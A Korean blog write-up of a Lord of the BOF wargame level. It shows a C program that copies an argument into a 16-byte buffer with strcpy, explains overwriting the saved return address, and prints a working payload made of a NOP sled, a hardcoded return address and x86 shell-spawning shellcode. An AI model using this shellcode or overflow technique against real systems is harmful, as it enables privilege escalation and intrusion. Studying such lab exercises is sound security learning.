1. int main(int argc, char*argv[])  
  2. {  
  3.     char buffer[16];  
  4.     if(argc < 2){  
  5.         printf("argv error\n");  
  6.         exit(0);  
  7.     }  
  8.     strcpy(buffer, argv[1]);  
  9.     printf("%s\n",buffer);  
  10. }  


1번문제와 다른점은 buffer의 사이즈가 작다는 것이다.


두가지 방법으로 풀 수 있는데


첫번째 방법은 argv[2]는 입력 제한이 없으므로 argv[2]의 주소를 ret의 주소로 덮어씌우는 방법이다.

두번째 방법은 환경변수를 이용한 방법인데


첫번째 방법이 간단해보이므로 첫번째 방법을 이용하도록 하겠다.




argv[ ]의 인자는 프로그램 시작과 동시에 전달되므로 


main+3에 브레이크 포인트를 걸고 살펴보자.



r`python -c 'print "\x90"*20 + "BBBB"'``python -c 'print "A"*240'` 


예쁘게 덮이지는 않았지만 그래도 덮인 모습이 눈에 보인다.


buffer(16) + sfp(4)  + ret 이므로


\x42424242 로 덮인 부분이 eip 주소이며 이 부분을 덮어주면 될 것이다


리턴주소는 적당하게 \xc8\xfb\xff\xbf 로 잡아주자.


payload

./cobolt `python -c 'print "\x90"*20 + "\xc8\xfb\xff\xbf"'``python -c 'print "\x90"*200 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`



hacking exposed



'pwnable > LOB' 카테고리의 다른 글

LOB goblin -> orc  (0) 2017.02.07
LOB cobolt -> goblin  (0) 2017.02.07
LOB - gate -> gremlin  (0) 2017.02.07

+ Recent posts